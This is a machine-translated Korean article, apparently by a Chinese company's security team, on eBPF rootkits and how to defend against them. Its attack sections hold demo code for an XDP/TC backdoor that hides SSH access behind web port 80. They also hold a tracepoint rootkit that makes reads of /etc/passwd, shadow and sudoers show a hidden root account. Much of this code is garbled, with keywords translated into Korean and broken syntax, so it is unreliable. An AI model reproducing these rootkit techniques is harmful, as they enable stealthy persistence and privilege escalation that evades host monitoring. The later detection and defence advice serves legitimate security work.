Linux eBPF 공격과 직면한 보안 과제

eBPF(확장 버클리 패킷 필터)는 효율적인 코드를 실행하는 데 사용할 수 있는 Linux 커널의 강력한 기술로 네트워크 모니터링, 성능 분석, 보안 감사 및 기타 영역에서 중요한 역할을 합니다. 하지만 이 양날의 검은 악의적으로 악용되어 심각한 네트워크 보안 위협을 초래할 수도 있습니다.

머리말

최근 몇 년 동안 클라우드 네이티브 공간은 비약적으로 성장했으며 K8은 인정받는 클라우드 운영 체제가 되었습니다. 컨테이너의 빈번한 배포, 짧은 수명 주기, 복잡한 네트워크 라우팅은 커널 보안에 새로운 과제를 안겨주었습니다. 시스템 커널이 직면한 복잡성은 점점 더 커지고 있으며, 시스템 안정성과 가용성을 보장하면서 성능과 확장성에 대한 새로운 요구 사항을 충족하는 것은 매우 어렵습니다. 이때 작은 하위 시스템 변경에도 시스템 커널의 안정성을 보장하고, 비즈니스 로직을 커널에 로드하여 핫 업데이트의 동적 실행을 달성할 수 있는 실시간 동적 로딩 기능이 있는 eBPF가 등장했습니다.

eBPF는 1992년 스티븐 맥캔과 밴 제이콥슨이 제안한 버클리 패킷 필터로 알려진 BPF에서 개발되어 1997년에 Linux 커널 2.1에 도입되었고 3.0에서는 네트워크 필터링 분야에서 사용되는 온더플라이 컴파일러가 추가되었습니다. 2014년에 Alexei Starovoitov는 eBPF를 구현하고 이를 사용자 공간으로 확장하여 더욱 강력하게 만들었습니다. 일반적으로 사용되는 TCPDUMP 및 LIBPCAP은 이를 기반으로 합니다. Linux 커널 4.x에서는 커널 상태 함수, 사용자 상태 함수, 트레이스포인트, 성능 이벤트(perf_events) 및 보안 제어와 같은 이벤트 유형이 확장되었습니다. 특히 최근에는 클라우드 네이티브의 급속한 발전과 함께 eBPF의 번영을 이끌었습니다. 마이크로소프트, 구글, 페이스북과 같은 기업들은 eBPF 재단을 설립했고, 실리움은 eBPF 기술을 기반으로 구현된 네트워크 제품을 출시했습니다. 그러나 eBPF 기술은 새로운 비즈니스의 빠른 발전을 이끌었지만 보안 위협도 함께 가져왔습니다.

현재 상황 분석

일부 해외 정보와 국내 정보를 통해 많은 불법 조직과 기관에서 eBPF를 악의적으로 사용하면서 많은 기술적 어려움을 해결하고 있음을 알 수 있습니다.

해외 정보

블랙 햇

블랙햇 2021에서 데이터독 엔지니어인 기욤 푸르니에는 다음과 같은 주제에 대해 발표했습니다.eBPF와 같은 친구가 있다면 누가 적이 필요할까요?를 공유하면서 루트킷을 만드는 방법, 악용하는 방법, 탐지 방어 코드를 설치하는 방법 등 eBPF가 악의적으로 악용될 수 있는 방법을 설명합니다.GitHub 위로.

DEFCON

DEF CON29에서 보안 연구원 팻 호건은 eBPF가 악의적으로 악용된 몇 가지 사례를 공유하기도 했습니다:워핑 리얼리티 - eBPF를 사용하여 차세대 Linux 루트킷을 생성하고 대응합니다. 에서 네트워크, 런타임 및 기타 시나리오를 포함한 eBFP 루트킷의 적용 시나리오와 악의적으로 악용되는 eBPF를 탐지하는 방법에 대해 설명합니다. 이 코드는 또한GitHub 위로.

Linux eBPF 공격과 직면한 보안 과제

국내 정보

외국과 달리 중국에서는 eBPF의 악의적 악용에 대한 정보가 적고 관련 기술 공유도 미흡합니다.이러한 위험의 측면은 아직 국내 보안 담당자의 관심을받지 못했을 가능성이 있으며, 계속 그렇게한다면 국내 기업의 능력에 영향을 미칠 수밖에 없습니다.사이버 보안방어 시스템 수준의 구축은 결국 외국에 비해 보안 보호가 뒤쳐져 기업 보안과 국가 안보에 더 큰 위험을 초래합니다.. 메이투안(중국 기업)정보 보안팀은 방어 시스템의 구축자로서 이러한 악의적 악용에 대한 이해를 높이고, 이를 탐지 및 방어한 미션의 경험을 공유하며, 다음과 같은 책임과 의무를 가지고 있습니다.사이버 보안제품을 통해 국내 정보 보안 구축에 조금이나마 기여할 수 있기를 바랍니다.

eBPF 기술을 악의적으로 악용하는 공격 원리

적을 알고 자신을 아는 것이 백전백승의 유일한 방법입니다. 좋은 방어를 하려면 공격 원리를 이해해야 합니다. 먼저 eBPF 루트킷이 어떻게 설계되었는지 살펴봅시다. eBPF의 기능을 살펴보면 다음과 같은 기능을 제공합니다:

  • 망상
  • 제어
  • 관찰(과학 등)
  • 추적 및 성과 분석
  • 보증인

존재하다망상분야에서 실리움과 같은 클라우드 네이티브 기업들은 해당 네트워크 수준의 보안 정책과 함께 그리드 관리를 구현하는 네트워크 계층 제품을 많이 만들었으며, 특히 네트워크 오케스트레이션 분야에서 특히 좋은 성과를 거두면서 점차적으로iptables등 다양한 제품을 통해 세계를 통합하려는 경향이 강합니다. 그리고제어,관찰(과학 등)다음과 같은 분야에서도 많은 제품이 있습니다. 특히 런타임 보안(런타임 보안) 분야에서는 데이터독, 팔코, 구글 등에서도 해당 제품을 출시했습니다. 관심이 있으시다면 제품 소스코드 분석(실리움 eBPF 구현 메커니즘의 소스 코드 분석,Datadog의 eBPF 보안 탐지 메커니즘 분석)를 공유할 수 있습니다.

eBPF 기술의 핵심을 살펴봅니다:

eBPF 후크 위치

eBPF 후크 위치

그림에서 볼 수 있듯이 eBPF의 후크 포인트 기능은 다음과 같은 부분으로 구성됩니다:

  1. 커널과 상호작용하기 위해 스토리지, 네트워크 등에 위치할 수 있습니다;
  2. 커널의 함수 모듈 상호 작용 사이에 있을 수도 있습니다;
  3. 다시 말하지만, 커널 상태와 사용자 상태 상호 작용 사이에 있을 수 있습니다;
  4. 그 외에도 사용자 프로세스 공간에 있을 수도 있습니다.

각 기능 포인트는 커널 상태 변조 행위를 가능하게 하여 커널 모듈 기반 HIDS가 이러한 행위를 인식하지 못할 뿐만 아니라 사용자 상태를 완전히 블라인드 상태로 만들 수 있습니다.

eBPF의 기능적 기능을 기반으로 비즈니스 시나리오 관점에서 네트워크, 모니터링 및 관찰 클래스의 기능은 클라우드 네이티브 분야의 제품 개발을 촉진하고 추적 / 성능 분석 및 보안 클래스의 기능은 보안 방어 및 감사 제품의 진화를 가속화하며 보안 분야의 악의적 인 악용도 될 것입니다.해커우려의 방향. 이 글에서는 새로운 위협과 방어 아이디어에 대해 설명합니다.

Linux eBPF 공격과 직면한 보안 과제

이 백서는 데이터 흐름의 단계에 따라 두 부분으로 나누어 악의적인 악용, 위험 위험 및 방어 아이디어에 대해 설명합니다.

  1. Linux 네트워크 계층 악의적 익스플로잇
  2. 리눅스 런타임 악성 익스플로잇

Linux 네트워크 계층 악의적 익스플로잇

SSH 및 웹 서비스가 있는 서버를 예로 들면, IDC의 일반 네트워크 액세스 정책에서는 공용 웹 80 포트가 열려 모든 소스에서 IP 액세스를 허용합니다. 그리고 SSH 서비스는 특정 IP 또는 개방형 인트라넷 포트 액세스만 허용합니다.

이 서버가 해킹당했고 해커가 백도어를 남기고 백도어 채널 역할을 할 수 있는 숨겨진 안정적인 네트워크 링크가 필요하다고 가정할 때, eBPF 기술로 이를 어떻게 달성할 수 있을까요?

XDP/TC 계층은 TCP 패킷을 수정합니다.

백도어를 더 잘 숨기려면 프로세스를 열지 않고 포트를 수신하지 않는 것이 좋습니다 (현재 부분에서는 네트워크 계층 숨김에 대해서만 설명합니다). XDP, TC, 소켓 및 기타 커널 계층 기능의 eBPF 기술은 트래픽 정보 수정을 달성 할 수 있으며 이러한 기능은 종종 L3, L4 네트워크로드 밸런싱에 사용됩니다. 예를 들어, Cilium의 네트워크 정책은 모두 eBPF XDP 구현을 기반으로 합니다. eBPF는 XDP 지점을 연결한 다음 TCP 패킷의 대상 IP를 변경하고 시스템 커널이 패킷을 전달합니다.

Linux 커널의 XDP와 TC에 이어, 수신 및 발신 위치를 처리하여 훅 포인트를 보다 정확하게 결정합니다.

Linux eBPF 공격과 직면한 보안 과제

  • XDP에는 수신에서 트래픽을 삭제, 수정 및 재전송할 수 있지만 송신에서는 작동하지 않는 BPF_PROG_TYPE_XDP 프로시저 유형이 있습니다.
  • TC의 BPF_PROG_TYPE_SCHED_CLS는 XDP "BPF_PROG_TYPE_XDP"의 기능에 더해 송신에서도 작동할 수 있습니다.

전자의 가장 일반적인 시나리오는 네트워크 트래픽 정리를 위해 네트워크 방화벽을 사용하는 것으로, 기존 방화벽보다 훨씬 더 효율적입니다. 후자는 클라우드 네이티브 시나리오, 컨테이너, 파드 네트워크 모니터링, 보안 액세스 제어 등에서 일반적으로 사용됩니다. 이 예에서는 들어오는 트래픽과 나가는 트래픽을 모두 조정해야 하므로 두 후크 포인트를 모두 사용할 수 있어야 합니다. 마찬가지로, 관련 패킷 로직이 처리되는 XDP 및 기타 후크 단계에서 통신 패킷을 더 잘 숨길 수 있고, tcpdump 및 기타 도구가 포착할 수 없습니다.

제어 링크

백도어 시나리오에서는 eBPF의 부하 분산과 같이 동일한 위치에서 대상 포트를 Web Nginx의 80에서 SSHD의 22로 변경하여 방화벽과 네트워크 액세스 제한을 우회하는 네트워크 데이터 패스스루를 달성할 수 있습니다.

인증 키

백도어 루트킷은 XDPTC 계층에서 작동하므로 가능한 한 간단하게 유지하기 위해 인증 키에 링크, 네트워크 및 전송 계층 데이터, 즉 MAC 정보, IP 퀸텟 등만 사용하는 것이 가장 좋습니다. IP는 자주 변경되며 MAC 주소는 고유할 가능성이 높으며 고정 포트를 설정하면 루트킷의 인증 키를 구현할 수 있으므로 더욱 고유합니다(다음이 필요함). 클라이언트가 연결을 시작할 때 클라이언트의 TCP 포트를 지정해야 함).

eBPF 지도와 연동된 eBPF 업로브

백도어 루트킷 키 업데이트의 경우 eBPF를 사용하는 것도 좋습니다. 예를 들어, Nginx 시나리오에서 uprobe는 URL 매개변수에서 특정 문자열을 가져오는 후크 HTTP 함수를 구현한 다음 해당 문자열을 eBPF 맵에 저장하여 키 업데이트를 수행합니다.

XDP/TC 계층에서 실행되는 eBPF 루트킷은 eBPF 맵의 키를 읽고 비교 작업을 수행합니다.

구현 프로세스

다음은 XDP가 인그레스를 처리하는 예시입니다:

SEC ("xdp/ingress")
int xdp_ingress(구조체 XDP_MD *CTX) {
구조체 커서 C.
구조체 PKT_CTX_T PKT.

//프로토콜이 SSHD인지 확인하고, 그렇지 않은 경우 직접 릴리스합니다.
만약 (! (SSHD 프로토콜(&c) 아님)) {!
반환 XDP_PASS.
}

// 루트킷이 일치하는지, NIC 정보가 소스 포트와 일치하는지 확인합니다.
해킹_맥[] = "bpf 맵 구성 읽기."
만약(키 불일치) {
반환 XDP_PASS.
}

// 지도를 읽어 클라이언트가 이미 존재하는지 확인합니다.
구조체 netinfo client_key = {};
__builtin_memcpy(&client_key.mac, &pkt.eth->h_source, ETH_ALEN);

구조체 netinfo *client_value;
client_value = bpf_map_lookup_elem(&잉그레스_클라이언트, &클라이언트_키);

// 변장을 찾지 못했다면 직접 조립하세요.
만약(!client_value) {
__builtin_memset(&client_value, 0sizeof(client_value));
} else {
bpf_map_update_elem(&ingress_client, &client_key, &client_value, BPF_ANY);
}


// 맥 LAN 맥 정보 위장
pkt.eth->h_source[0] = 0x00;
...

// 클라이언트 포트는 변경하지 않은 채 가장 무도회의 IP 소스를 교체합니다.

// 대상 포트 변경
pkt.tcp->dest = htons(FACK_PORT);    //22

// TCP 합계 레이어 4 계산
IPV4_CSUM(pkt.tcp, sizeof(구조체 tcphdr), &csum);
pkt.tcp->check = csum;

// TC가 원래 맥, 송신 IP 정보 복원을 처리할 수 있도록 위장 맵을 작성합니다.
반환 XDP_PASS.
}

비교적 간단한 데모를 통해 송신 측에서 TCP 패킷을 위장하는 방법을 구현할 수 있습니다. 마찬가지로 TC 계층이 송신 방향의 패킷을 처리할 때는 위장된 패킷의 원본 정보를 축소하기만 하면 됩니다. 전체 프로세스는 다음 그림에 나와 있습니다:

eBPF는 XDP/TC 계층에서 루트킷 통신 링크의 네트워크 침투를 구현합니다.

eBPF는 XDP/TC 계층에서 루트킷 통신 링크의 네트워크 침투를 구현합니다.

이러한 방식으로 루트킷의 통신 링크는 정상적인 사용자 액세스에 영향을 미치지 않으며 원래 시스템을 변경하지 않으므로 특히 잘 숨겨집니다.

비디오 데모

테스트를 위해 세 개의 호스트를 준비했습니다:

  1. 침입자: IP 172.16.71.1의 cnxct-mt2.
  2. 일반 사용자: IP 172.16.71.3의 ubuntu.
  3. 감염된 서버: vm-ubuntu, IP 172.16.71.4. nginx 웹 포트 80을 열고, SSHD 포트 22를 열고, 인트라넷 IP 액세스만 허용하도록 iptables 규칙을 설정합니다.

위협

이 루트킷은 적극적으로 소켓을 생성하지 않고 네트워크 전송 패킷 중 하나를 차용하여 백도어 사용자에게 메시지를 전달합니다. 이는 시스템에 미치는 영향 측면에서 볼 때 작고 미미한 네트워크 반응에 불과합니다. 수천 개의 HTTP 패킷에서 전혀 찾을 수 없습니다.

  1. iptables 방화벽 우회일반에 개방된 포트 80을 통신 터널로 사용합니다;
  2. WebIDS 우회: 트래픽이 서버에 도착하여 Nginx로 전달되지 않습니다;
  3. NIDS 우회LAN 간에 흐르는 침입자 트래픽은 해독할 수 없는 것일 뿐 비정상적인 것은 없습니다;
  4. HIDS 바이패스방화벽이 로컬/LAN 소스의 SSHD 로그인을 무시하도록 신뢰할 수 있는지 여부입니다.

리눅스 런타임 악성 익스플로잇

클라우드 네이티브 에코시스템에서는 Calico, Cilium 등과 같이 eBPF 기술 구현을 기반으로 하는 수많은 클러스터 네트워크 관리 플러그인이 등장했습니다. 비즈니스에 구현된 네트워크 관리 서비스는 컨테이너 방식으로 배포되며, 이러한 컨테이너가 eBPF 시스템 호출을 지원하려면 SYS_BPF_ADMIN 권한을 활성화해야 합니다. 이러한 서비스가 실행되는 환경은 공격자가 플레이하기에 완벽한 공간을 제공합니다.

구현 프로세스

백도어 루트킷 시나리오에서 사용되는 경우 eBPF의 후크 포인트, kprobe, syscall의 트레이스포인트 이벤트 유형은 매우 무섭다는 것을 기억하세요. 예를 들어 커널 상태를 수정하여 사용자 상태 데이터로 돌아가거나, 사용자 상태 동작을 가로채서 차단하는 등 원하는 것은 무엇이든 할 수 있습니다. 더 무서운 것은 일반적인 HIDS는 커널 상태 또는 사용자 상태를 기반으로 동작 모니터링을 수행하는데, eBPF는 대부분의 HIDS 모니터링을 정확하게 우회하고 로그를 생성하지 않기 때문에 사람들이 "극도로 두려워하고 전율"하게 만들 뿐이라는 점입니다.

트레이스포인트 이벤트 유형 후크

SSHD 애플리케이션에서 사용자가 로그인하면 /etc/passwd와 같은 파일을 읽습니다. 사용자 상태 SSHD 프로그램은 열기, 읽기 등의 시스템 호출을 호출하여 커널이 하드웨어 디스크로 이동하여 데이터를 검색하고 이를 SSHD 프로세스로 반환할 수 있도록 합니다.

유저랜드가 페이로드를 생성합니다.

사용자 상태는 /etc/passwd, /etc/shadow 등과 같은 파일에 대한 페이로드 생성을 구현하고 eBPF의 RewriteConstants 메커니즘을 통해 ELF .rodata의 필드 값 교체를 완료합니다.

가져오기 "github.com/ehids/ebpfmanager"

// 엘프의 상수 치환을 통해 데이터를 전달합니다.
func (e *MBPFContainerEscape) 상수 편집기() []관리자.ConstantEditor {
	var 사용자 이름 = 랜드스트링(9)
	var 비밀번호 = 랜드스트링(9)
	var s = 랜드스트링(8)

salt := []바이트(fmt.Sprintf("$6$%s", s))
	// 솔트를 사용하여 사용자가 제공한 비밀번호를 해시합니다.
	c := sha512_crypt.New()
해시, err := c.Generate([])바이트(비밀번호), 소금)
    
	var m = 지도[문자열]인터페이스{}{}
res := make([]바이트, PAYLOAD_LEN)
	var 페이로드 = fmt.Sprintf("%s ALL=(ALL:ALL) NOPASSWD:ALL #", 사용자 이름)
	복사(res, 페이로드)
m["payload"] = res
m["payload_len"] = uint32(len(페이로드))

    // 비밀번호 문자열 생성
	var payload_passwd = fmt.Sprintf("%s:x:0:0:root:/root:/bin/bashn", 사용자 이름)
	// 섀도 문자열 생성
	var 페이로드_섀도우 = fmt.Sprintf("%s:%s:18982:0:99999:7:::n", 사용자 이름, 해시)
	
    // eBPF RewriteContents
    var editor = []manager.ConstantEditor{
{
Name.          "payload",
값: m["payload"],
FailOnMissing. 진실,
},
{
Name.          "payload_len",
값: m["payload_len"],
FailOnMissing. 진실,
            },
    }
    반환 편집기
}

func (이 *MBPFContainerEscape) 설정 관리자() {
this.bpfManager = &manager.Manager{
프로브: []*manager.Probe{
{
섹션.          "트레이스포인트/시스템 호출/시스템_입력_오픈",
EbpfFuncName.     "HANDLE_OPENAT_ENTER",
AttachToFuncName. "SYS_ENTER_OPENAT",
}
            ...
},

지도: []*manager.Map{
{
Name. "이벤트",
},
},
}

this.bpfManagerOptions = manager.Options{
...
		// RewriteContents에 해당하는 맵을 채웁니다.
		ConstantEditors: this.constantEditor(),
}
}

페이로드를 사용한 커널 상태

const 휘발성 int payload_len = 0;
...
const 휘발성 문자(컴퓨팅) payload_shadow[MAX_PAYLOAD_LEN].

SEC("트레이스포인트/시스템 호출/시스템 종료 읽기")
int 핸들_읽기_종료(구조체 TRACE_EVENT_RAW_SYS_EXIT *CTX)
{
    // 동작이 루트킷인지, 페이로드를 로드해야 하는지 확인합니다.
    ...
    long int READ_SIZE = CTX->RET;
    // 원래 버프의 길이가 페이로드보다 작은지 확인합니다.
    만약 (read_size < payload_len) {
        반환 0;
    }
    
    // 파일 유형을 결정하고 일치하는 경우 적절한 페이로드를 추가합니다.
    스위치 (pbuff_addr->file_type)
    {
    case file_type_passwd.
        // 페이로드를 버프에 덮어쓰고 부족한 부분은 원래 버프를 사용합니다.
        {
            bpf_probe_read(&local_buff, MAX_PAYLOAD_LEN, (void*)buff_addr).
            에 대한 (서명되지 않은 int i = 0i < MAX_PAYLOAD_LEN; i++) {
                만약 (i >= payload_passwd_len) {
                    local_buff[i] = ' ';
                }
                else {
                    local_buff[i] = payload_passwd[i];
                }
            }
        }
        break;
    case file_type_shadow.
        // 섀도 파일을 덮어씁니다.
        ...
        break;
    case file_type_sudoers.
        //overwrite sudoers
        ...
        break;
    기본값:
        반환 0;
        break;
    }


    // 버퍼에 페이로드 메모리 쓰기
    ret = bpf_probe_write_user((void*)buff_addr, local_buff, MAX_PAYLOAD_LEN).
    // 유저랜드에 이벤트 보내기
   
    반환 0;
}

위 데모 루트킷의 설계에 따라 무작위 사용자 이름 및 비밀번호 루트 계정 추가를 완료합니다. 인증 측면에서는 "eBPF 네트워크 계층 악의적 사용" 데모와 함께 사용할 수도 있으며, 해당 인증을 달성하기 위해 eBPF 맵 상호 작용을 사용합니다. 그러나 루트킷 자체는 하드 드라이브의 파일을 변경하지 않으며 위험한 동작을 생성하지 않습니다. 또한 루트킷은 특정 프로세스만 다루기 때문에 더욱 은밀하게 작동합니다. 전체 프로세스는 아래 그림에 나와 있습니다:

런타임 보안 시나리오에서 악의적인 eBPF 익스플로잇

런타임 보안 시나리오에서 악의적인 eBPF 익스플로잇

실제 머신에서든 루트+BPF 권한이 부여된 컨테이너에서든 동일하게 작동합니다.

중대한 위험

클라우드 네이티브 시나리오에서는 SYS_ADMIN 권한을 부여하는 컨테이너 시나리오가 많은데, 최근 'Java log4j' 취약점을 통해 컨테이너에 직접 침투하여 호스트 권한을 얻을 수 있다고 하니 끔찍하지 않나요?

하지만 그보다 더 무서운 것이 있습니다:이 루트킷 자체는 사용자 상태 동작의 로그를 생성하거나 파일을 변경하지 않으며, 시스템에서 이 사용자에 대한 정보를 찾을 수 없습니다. 전체 백도어 동작은 데이터를 생성하지 않으며 대부분의 HIDS를 비활성화합니다..

모집

이 기사의 두 가지 시나리오의 데모에서 볼 수 있듯이 eBPF 기술의 위험성이 악의적 인 사용이라는 것을 이미 알고 있다고 생각합니다. 사실 이것은 eBPF 기술의 악의적 인 이점의 "빙산의 일각"일 뿐이며, kproebuprobe에는 숨기기 프로세스 구현, 인트라넷 검색 흔적 없음 등과 같은 많은 기능도 있습니다. 관련 악성 익스플로잇에 대한 자세한 내용은 다음을 참조하세요.나쁜 BPF - eBPF를 사용한 현실 왜곡기사.

침입자가 루트킷, 프로세스 숨김 등을 신중하게 설계하여이 기사의 아이디어에 따라 루트킷이 더 숨겨져 "유령과 같은"백도어를 달성하기 위해 사람들이 두려워하게 만드는 경우 생각해보십시오.

기존 호스트 보안 방어 제품은 일반적으로 프로세스 생성, 네트워크 통신 및 기타 행동 인식을 위해 Netlink, Linux 커널 모듈 및 기타 기술을 사용하는 반면, eBPF의 후크 포인트는 이러한 기술보다 더 깊숙이 침투하고 더 일찍 실행될 수 있으므로 기존 HIDS가 이를 인식하고 발견하지 못합니다.

기존 루트킷은 후크 API 방법을 사용하여 원래 함수를 대체하여 함수 호출 주소 변경을 구현하고, 성숙한 탐지 메커니즘이 있으며, eBPF 후크는 기존 루트킷과 다르며 함수 호출 스택이 변경되지 않습니다. 이로 인해 탐지에 많은 문제가 발생합니다.

그렇다면 이러한 백도어를 어떻게 탐지하고 방어할 수 있을까요?

탐지 및 방어

이벤트 진행 과정에는 세 단계가 있습니다:

  • 운영 전
  • 런타임(컴퓨팅)
  • 실행 후

Linux eBPF 공격과 직면한 보안 과제

운영 전

악성 프로그램이 실행되기 전에 공격 표면을 줄이겠다는 생각은 변함없습니다.

환경 제약 조건

호스트이든 컨테이너이든 권한이 수렴되며 SYS_ADMIN, CAP_BPF 및 기타 권한을 부여할 수 없는 경우 해당 권한을 비활성화합니다. 이 권한을 열어야 하는 경우 런타임 탐지 세션에만 넣을 수 있습니다.

SECCOMP 제한 사항

컨테이너 시작 시 기본 seccomp.json을 수정하여 컨테이너 이스케이프를 방지하기 위해 bpf 시스템 호출을 비활성화하세요. 이 방법은 Privileged 권한 컨테이너에서는 작동하지 않습니다.

커널 컴파일 매개변수 제한

런타임 보호를 위해 함수의 반환값을 수정할 때는 커널에서 CONFIG_BPF_KPROBE_OVERRIDE 컴파일 매개변수를 활성화해야 하므로 특별한 상황이 아니면 이 컴파일 매개변수를 활성화하지 마세요.

권한 없는 사용자 지침

대부분의 eBPF 프로그램 유형은 실행을 위해 루트 권한이 있는 사용자가 호출해야 합니다. 루트 권한은 필요하지 않지만 시스템 구성 스위치를 읽어야 하는 BPF_PROG_TYPE_SOCKET_FILTER 및 BPF_PROG_TYPE_CGROUP_SKB와 같은 몇 가지 예외가 있습니다.

//https://elixir.bootlin.com/linux/v5.16.9/source/kernel/bpf/syscall.c#L2240

만약 (유형 ! = bpf_prog_type_socket_filter &&
type ! = bpf_prog_type_cgroup_skb &&
!bpf_capable()))
		반환 -EPERM.

스위치 확인

proc/sys/kernel/unrivileged_bpf_disabled에서, 이 작업을 수행하려면sysctl kernel.unprivileged_bpf_disabled=1를 클릭하여 구성을 수정합니다. 구성의 의미는proc/sys/kernel/에 대한 문서.

  • 값이 0이면 권한이 없는 사용자가 bpf를 호출할 수 있음을 나타냅니다;
  • 값이 1이면 권한이 없는 사용자가 bpf를 호출할 수 없으며 재부팅한 후에만 값을 변경할 수 있습니다;
  • 값이 2이면 권한이 없는 사용자가 bpf를 호출할 수 없음을 의미하며, 다시 0 또는 1로 수정할 수 있습니다.

특성화

커널이 BPF 바이트코드를 로드할 때 서명 검증을 수행하여 안전하게 서명된 BPF 바이트코드만 로드되는 지점에 도달하는 것이 제안되었습니다. 이 주제는 lwn.net에도 나와 있습니다:BPF 바이트코드 서명 체계.

그러나 많은 사람들은 다음과 같은 제안도 합니다.이의 제기그들은 지난 몇 년 동안 BPF 모듈이 너무 추상적이고 복잡하다고 생각했기 때문에 BPF를 더 불안정하게 만드는 추가 기능을 추가하고 싶지 않다고 생각했습니다. 대신 시스템 복잡성을 증가시키지 않는 기존 커널 기능인 "사용자 프로그램이 로드한 BPF 바이트 코드를 실행하여 서명할 수 있도록" 바이트 코드가 로드될 때 서명할 수 있도록 생각을 바꿨습니다.

이 문서에서는 이렇게 하면 대부분의 BPF 바이트코드 로딩 문제가 완화된다고 주장합니다. 그러나 시스템 네이티브 명령(tcipbpftool등)가 로드되어 있으면 여전히 위협에 직면하게 됩니다. 예를 들어IP 링크 세트 dev ens33 xdp 객체 xdp-example_pass.o.

ip 명령은 eBPF 바이트코드를 로드합니다.

ip 명령은 eBPF 바이트코드를 로드합니다.

운영 점검

대부분의 eBPF 프로그램은 재부팅 후 더 이상 존재하지 않으므로 침입자는 가능한 한 백도어를 자동으로 시작하려고 시도합니다. Linux 시스템의 자동 부팅, 크론탭 및 기타 예약된 작업을 잘 확인하세요.

사용자 상태 프로그램은 다양한 형태, ELF 실행 파일, 동적 링크 라이브러리가 될 수 있는 ELF로 존재할 수 있습니다. 실행 중에는 BPF 바이트코드를 로드하기 위해 BPF syscall을 호출해야 합니다. 실행 가능한 ELF에 대해서만 탐지를 수행하는 것은 정확하지 않습니다.

런타임(컴퓨팅)

제어

Linux 시스템에서 실행되는 모든 프로그램은 시스템 호출을 수행해야 하며, eBPF 프로그램도 예외는 아닙니다. syscall이 321인 SYS_BPF 명령어를 호출해야 합니다. 그리고 모든 eBPF 프로그램 실행, 맵 생성은 이 syscall을 호출해야 합니다. 따라서 이 필수 경로에서 가로채고 모니터링하는 것이 가장 좋은 솔루션입니다.

SEC ("트레이스포인트/시스템 호출/시스템_입력_bpf")
int 트레이스포인트_시스템_입력_bpf(구조체 syscall_bpf_args *args) {
	구조체 bpf_context_t *bpf_context = make_event();
	만약 (!bpf_context)
		반환 0;
bpf_context->cmd = args->cmd;
get_common_proc(&bpf_context->procinfo) ;
send_event(args, bpf_context) ;
    반환 0;
}

여기, 오픈 소스 ehids 프로젝트에서 BPF 시스콜 탐지 예제를 만들었는데, 이를 포크하여 이해할 수 있습니다. 리포지토리 주소는 다음과 같습니다:GitHub/ehids.

주의 깊은 독자라면 이 시점에서 침입자의 백도어가 더 일찍 실행되어 이 시스템 호출을 스푸핑하면 어떻게 될지 궁금할 것입니다. 이는 매우 좋은 질문이며, 실행 후 추적성 장에서 논의할 것입니다. 하지만 대부분의 시나리오에서 HIDS 방어 제품이 가장 먼저 시작될 수 있습니다.

감사 및 심사

위에서 BPF 시스템 호출 모니터링에 대해 설명했습니다. 클라우드 네이티브 시나리오에서는 eBPF를 기반으로 구현된 네트워크 제품이 자주 호출되어 대량의 이벤트 로그가 생성되므로 운영 담당자에게 더 많은 부담이 됩니다. 그러면 행동을 간소화하고 정밀하게 선별하는 것이 다음 목표가 됩니다.

프로그램 화이트리스트에 따른 필터링

데이터 필터링, 대용량 데이터의 압박에 대한 해결책. BPF 애플리케이션의 일부 비즈니스 서버에서는 비즈니스 동작 자체가 많은 수의 호출을 생성하여 보안 경고에 대한 감사 압력을 가중시킵니다. 알려진 프로세스의 경우 프로세스 특성에 따라 필터링할 수 있습니다.

현재 프로세스 pid, comm 및 기타 속성을 가져와 사용자 상태의 eBPF 맵에 기록된 구성에 따라 보고할지 여부 또는 가로채기할지 여부를 결정합니다. 사용자 상태에서도 필터링을 수행할 수 있지만 커널 상태가 더 효율적입니다. 차단을 수행하는 경우 커널 상태에서 구현해야 합니다.

다음을 참조할 수 있습니다.saBPF 제품 디자인 아이디어 를 사용하여 LSM 훅 포인트에 대한 훅 절차를 구현하여 관련 감사 호출을 완료합니다. 비록GitHub/saBPF-project 프로젝트 코드는 아직 데모에 불과하지만 아이디어를 차용할 수 있습니다.

Linux eBPF 공격과 직면한 보안 과제

동기화 유형별로 필터링

BPF syscall에서 하위 명령에는 map, prog 및 기타 여러 유형의 작업이 포함됩니다.bpf() 하위 명령 참조 실제 비즈니스 시나리오에서 '쓰기' 작업의 보안 위험은 '읽기' 작업보다 높으므로 '읽기' 작업을 필터링하고 '쓰기' 작업만 보고 및 감사할 수 있습니다. 따라서 '읽기' 작업을 필터링하고 '쓰기' 작업만 보고 및 감사할 수 있습니다.

예를 들어

  • 맵 생성 BPF_MAP_CREATE
  • PROG 로드 BPF_PROG_LOAD
  • BPF_OBJ_PIN
  • BPF_PROG_ATTACH
  • BPF_BTF_LOAD
  • bpf_map_update_batch

특히 BPF 요구 사항이 있는 비즈니스 시나리오에서는 로그 감사를 더욱 효과적으로 수행할 수 있습니다.

실행 후

몇 가지 질문이 있습니다. eBPF 유저랜드 프로그램이 커널랜드 프로그램과 상호작용하는데, BPF 바이트코드를 로드한 후 종료할 수 있나요? 종료 후에도 커널 후크 BPF 기능이 계속 작동하나요? 생성된 맵이 여전히 존재하나요? 더 나은 스텔스를 위해 백도어 프로그램을 어떻게 선택해야 하나요?

이러한 질문에 답하려면 BPF 프로그램의 로딩 메커니즘인 BPF 객체 수명 주기에 대해 언급해야 합니다.

파일 디스크립터 및 참조 카운터

사용자 상태 프로그램은 각각 참조 카운터가 있는 파일 설명자 FD를 통해 BPF 객체(프로그, 맵, 디버깅 정보)에 액세스합니다. 사용자 상태가 열리고 해당 FD를 읽으면 해당 카운터가 증가합니다. FD가 닫히면 참조 카운터가 감소하고 refcnt가 0이 되면 커널이 BPF 개체를 해제하고 이 BPF 개체는 더 이상 작동하지 않습니다.

보안 시나리오에서 사용자 상태의 백도어 프로세스가 종료되면 백도어 eBPF 프로그램도 함께 종료됩니다. 이는 프로세스 목록에 의심스러운 프로세스가 포함되어 있는지 확인하기 위해 보안 검사를 수행할 때 유용한 기능이 될 수 있습니다.

그러나 모든 BPF 객체가 사용자 영역 프로세스가 종료될 때 함께 종료되는 것은 아닙니다. 커널 원칙에 따라 BPF 객체를 살리고 백도어 프로세스가 계속 작동하도록 하려면 refcnt가 0보다 큰지 확인하기만 하면 됩니다. 실제로 BPF 프로그램 유형 중 XDP, TC 및 CGROUP 기반 훅과 같은 훅은 전역적이며 사용자 상태 프로세스가 종료될 때 종료되지 않습니다. 해당 FD는 커널에 의해 유지되어 refcnt 카운터가 0이 아니므로 계속 작동합니다.

STH의 기원을 조사하세요.

